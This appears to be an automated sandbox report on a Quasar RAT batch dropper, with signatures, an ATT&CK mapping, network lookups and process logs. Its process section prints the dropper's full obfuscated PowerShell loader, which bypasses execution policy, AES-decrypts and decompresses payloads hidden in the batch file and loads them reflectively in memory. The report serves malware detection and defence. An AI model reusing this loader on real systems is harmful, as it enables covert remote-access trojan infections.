Malware Analysis Report

2024-08-06 11:14

Sample ID 240614-3k4k4avbpn
Target WiKxtRl.bat
SHA256 2f878f17890e54a4592aa7b9cd78f5b8d44e0254cf85744d94590200bed8d125
Tags
quasar home execution spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

2f878f17890e54a4592aa7b9cd78f5b8d44e0254cf85744d94590200bed8d125

Threat Level: Known bad

The file WiKxtRl.bat was found to be: Known bad.

Malicious Activity Summary

quasar home execution spyware trojan

Quasar RAT

Quasar payload

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Looks up external IP address via web service

Program crash

Suspicious behavior: EnumeratesProcesses

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Discovery
TA0007
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-14 23:35

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-14 23:35

Reported

2024-06-14 23:35

Platform

win11-20240611-en

Max time kernel

5s

Max time network

9s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3600 wrote to memory of 4040 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3600 wrote to memory of 4040 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3600 wrote to memory of 4040 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BiJkRz5NLnyrmEvcrNKNN2n/+U317Jums9TdEe+oIqA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XChExx/HLqzULqa7bNx00g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Xpngt=New-Object System.IO.MemoryStream(,$param_var); $icfSz=New-Object System.IO.MemoryStream; $ycFeS=New-Object System.IO.Compression.GZipStream($Xpngt, [IO.Compression.CompressionMode]::Decompress); $ycFeS.CopyTo($icfSz); $ycFeS.Dispose(); $Xpngt.Dispose(); $icfSz.Dispose(); $icfSz.ToArray();}function execute_function($param_var,$param2_var){ $JcJYG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ChnnI=$JcJYG.EntryPoint; $ChnnI.Invoke($null, $param2_var);}$NlJYy = 'C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat';$host.UI.RawUI.WindowTitle = $NlJYy;$FnwhD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NlJYy).Split([Environment]::NewLine);foreach ($YIwJb in $FnwhD) { if ($YIwJb.StartsWith(':: ')) { $ZiMPy=$YIwJb.Substring(3); break; }}$payloads_var=[string[]]$ZiMPy.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4040 -ip 4040

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 2748

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4040 -ip 4040

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 2768

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp

Files

memory/4040-0-0x0000000074C5E000-0x0000000074C5F000-memory.dmp

memory/4040-1-0x0000000002A00000-0x0000000002A36000-memory.dmp

memory/4040-2-0x0000000005280000-0x00000000058AA000-memory.dmp

memory/4040-3-0x0000000074C50000-0x0000000075401000-memory.dmp

memory/4040-4-0x0000000074C50000-0x0000000075401000-memory.dmp

memory/4040-5-0x0000000005040000-0x0000000005062000-memory.dmp

memory/4040-7-0x00000000058B0000-0x0000000005916000-memory.dmp

memory/4040-6-0x00000000051E0000-0x0000000005246000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2do4v2b1.3mo.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4040-16-0x0000000005920000-0x0000000005C77000-memory.dmp

memory/4040-17-0x0000000005E10000-0x0000000005E2E000-memory.dmp

memory/4040-18-0x0000000006180000-0x00000000061CC000-memory.dmp

memory/4040-19-0x0000000007640000-0x0000000007CBA000-memory.dmp

memory/4040-20-0x00000000063B0000-0x00000000063CA000-memory.dmp

memory/4040-21-0x0000000006FC0000-0x0000000006FC8000-memory.dmp

memory/4040-22-0x00000000070A0000-0x000000000713C000-memory.dmp

memory/4040-23-0x00000000071D0000-0x0000000007204000-memory.dmp

memory/4040-24-0x0000000007200000-0x000000000725E000-memory.dmp

memory/4040-25-0x0000000008270000-0x0000000008816000-memory.dmp

memory/4040-26-0x0000000007380000-0x0000000007412000-memory.dmp

memory/4040-27-0x0000000007310000-0x0000000007322000-memory.dmp

memory/4040-28-0x0000000007DC0000-0x0000000007DFC000-memory.dmp

memory/4040-30-0x0000000074C50000-0x0000000075401000-memory.dmp